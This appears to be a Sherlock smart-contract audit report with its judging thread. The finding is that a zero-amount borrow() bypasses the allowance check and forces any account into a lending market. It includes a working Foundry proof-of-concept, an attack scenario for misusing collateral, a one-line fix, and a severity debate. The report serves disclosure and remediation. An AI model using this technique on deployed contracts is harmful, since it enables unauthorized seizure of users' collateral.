bin2chen - borrow() maliciously let others to enter market

[sherlock-admin2]

bin2chen

medium

borrow() maliciously let others to enter market

Summary

After borrow() is executed successfully, borrower will automatically enter the market.
This method performs a security check to determine if the msg.sender allowance is sufficient to avoid malicious operations.
But it doesn't limit the borrow number !=0, so anyone can execute without an allowance.
This causes the permission check to fail and maliciously allows others to enter the market

Vulnerability Detail

borrow() is executed by calling auditor.checkBorrow().
checkBorrow() will cause the borrower to automatically enter the market.

contract Market is Initializable, AccessControlUpgradeable, PausableUpgradeable, ERC4626 {
..
  function borrow(
    uint256 assets,
    address receiver,
    address borrower
  ) external whenNotPaused whenNotFrozen returns (uint256 borrowShares) {
@> //@audit missing check assets !=0
    spendAllowance(borrower, assets);

...

@>  auditor.checkBorrow(this, borrower);
    asset.safeTransfer(receiver, assets);
  }

contract Auditor is Initializable, AccessControlUpgradeable {
...
  function checkBorrow(Market market, address borrower) external {
    MarketData storage m = markets[market];
    if (!m.isListed) revert MarketNotListed();

    uint256 marketMap = accountMarkets[borrower];
    uint256 marketMask = 1 << m.index;

    // validate borrow state
    if ((marketMap & marketMask) == 0) {
      // only markets may call checkBorrow if borrower not in market
      if (msg.sender != address(market)) revert NotMarket();

@>    accountMarkets[borrower] = marketMap | marketMask;
      emit MarketEntered(market, borrower);
    }

however, this method does not determine that assets cannot be 0. If the user specifies assets=0 then the security check for allowances can be skipped, and the borrower will enter the market after the method is executed successfully

POC

The following code demonstrates that no allowances are needed to let the borrower enter the market

add to Market.t.sol

  function testAnyoneEnterMarket() external {
    (,, uint8 index,,) = auditor.markets(
      Market(address(market))
    );
    bool inMarket = auditor.accountMarkets(BOB) & (1 << index) == 1;
    console2.log("bob in market(before):",inMarket);
    console2.log("anyone execute borrow(0)");
    vm.prank(address(0x1230000123)); //anyone
    market.borrow(0, address(this), BOB);
    inMarket = auditor.accountMarkets(BOB) & (1 << index) == 1;
    console2.log("bob in market(after):",inMarket);
  }  

$ forge test -vvv --match-test testAnyoneEnterMarket

Ran 1 test for test/Market.t.sol:MarketTest
[PASS] testAnyoneEnterMarket() (gas: 172080)
Logs:
  bob in market(before): false
  anyone execute borrow(0)
  bob in market(after): true

Impact

The current protocol makes a strict distinction between enter market or not.
A user can be a simple LP to a market and not participate in borrowing or collateralization, which is then protected and cannot be used as a seize market for liquidation purposes.
At the same time, if the user does not enter the market, then the user can access the assets as they wish without constraints.
And so on.
If any person can maliciously allow others to enter the market to break the rules.
For example, maliciously liquidating seize a protected market

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L167

Tool used

Manual Review

Recommendation

  function borrow(
    uint256 assets,
    address receiver,
    address borrower
  ) external whenNotPaused whenNotFrozen returns (uint256 borrowShares) {
+   if (assets == 0) revert ZeroBorrow();
    spendAllowance(borrower, assets);

[Dliteofficial]

@santipu03

I also don't think this is a valid finding. How is this not a low or a recommendation? There is no clear impact here, especially because the user whose account was used to enter the market would have no obligations to the market whatsoever. Plus, he can just exit the market when he likes

[MehdiKarimi81]

Escalate

Users can simply exit the market via exitMarket function until they don't have any debt at that market.

[sherlock-admin3]

Escalate

Users can simply exit the market via exitMarket function until they don't have any debt at that market.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[santipu03]

I marked this issue as valid because a borrower cannot realize that an attacker has entered a market on his behalf so if a liquidation happens later, the borrower will have its assets seized from the recently entered market when it shouldn't be possible.

[Dliteofficial]

My comment still stands and I agree with @MehdiKarimi81. If a malicious user enters a market on my behalf, I can just exit the market whenever possible. Secondly, if a user doesn't have funds in the market, such market, even though he's entered, will not amount to any value and won't be considered for liquidation. Finally, if indeed the victim is in the market, during deposit, he would have been automatically entered and if the attacker entered the market before the victim's deposit, the victim's deposit still legitimises the market entered by the attacker. There is no real harm done here

[santipu03]

A user can deposit assets in a market to earn from lending them but he can exit the market instantly so that the assets he deposited are not considered in the liquidity calculations. When an attacker enters a market on a user's behalf, all those assets are at risk of seizure if the borrower is liquidated, which shouldn't be like that.

[Dliteofficial]

At the risk of the debating this further, I'll just allow whoever is in charge as Head of judging resolved this. There is no risk to a user who is in a market with empty collateral. It's the same as saying that a fixed rate pool LP will get nothing if there's no backup borrow. That's how the protocol was designed. At best. This is a low/informational

[MehdiKarimi81]

A user can deposit assets in a market to earn lending them but he can exit the market instantly so that the assets he deposited are not considered in the liquidity calculations. When an attacker enters a market on behalf of a user, puts all those assets at risk of seizure if the borrower is liquidated.

why the liquidator shouldn't be able to liquidate those funds? if other markets have not enough liquidity then liquidating from this market seems rational

[0xA5DF]

Check out my submission, this explains very well how this affects the user and why they can't simply exit the market:

This allows users who're approved to borrow on other markets to borrow on their behalf using assets they didn't intend to use as collateral.

Consider the following scenario:

• Bob has 3K in the USDC market, and 50K in the DAI market
• They entered the USDC market, but not the DAI market
• Bob approved Alice to borrow up to 20K ETH on their behalf on the ETH market
• Bob assumes that this allows Alice only to use the funds at USDC market as collateral, and the funds at DAI are safe
• Alice now wants to use Bob's DAI collateral to take a loan, so she forces him to enter the market with a zero-borrow
• Alice took a loan (she can send it to her own address, effectively stealing from Bob) using collateral she wasn't supposed to use according to the protocol's design, causing a loss of assets to Bob

[0xA5DF]

PS
I'm not very familiar with Sherlock's rules, but if this is a low without the impact that I've listed, would this invalidate/downgrade other dupes that didn't identify this impact?

I'd request the judge to consider this if that's the case

[santipu03]

@0xA5DF
If the head of judging decides that the only valid impact is the one you pointed out, I believe that the submissions that don't specify that impact would be invalidated.

However, I still think that the impact I pointed out here is also valid.

[MehdiKarimi81]

However, there is no loss of funds and the liquidator only uses other assets for liquidation, despite it may be unexpected for the borrower but no loss of funds happened, it only affects user experience and according to sherlock docs : Issues that cause minor inconvenience to users where there is no material loss of funds are not considered valid

[santipu03]

When the borrower is liquidated and some funds that should not count as collateral are seized, that's clearly a loss of funds for the borrower.

[cvetanovv]

This issue can be Medium.

It breaks core contract functionality. A malicious user should not force another user to enter the market.

Аll the duplicates have found the root cause of the issue, and for that, the duplicates should remain.

I also find the @santipu03 and @0xA5DF comments reasonable, which further increases the severity of this issue to Medium.

Planning to reject the escalation and leave the issue as is.

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits:
exactly/protocol#720

[Evert0x]

Result:
Medium
Has Duplicates

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• MehdiKarimi81: rejected

[sherlock-admin2]

The Lead Senior Watson signed off on the fix.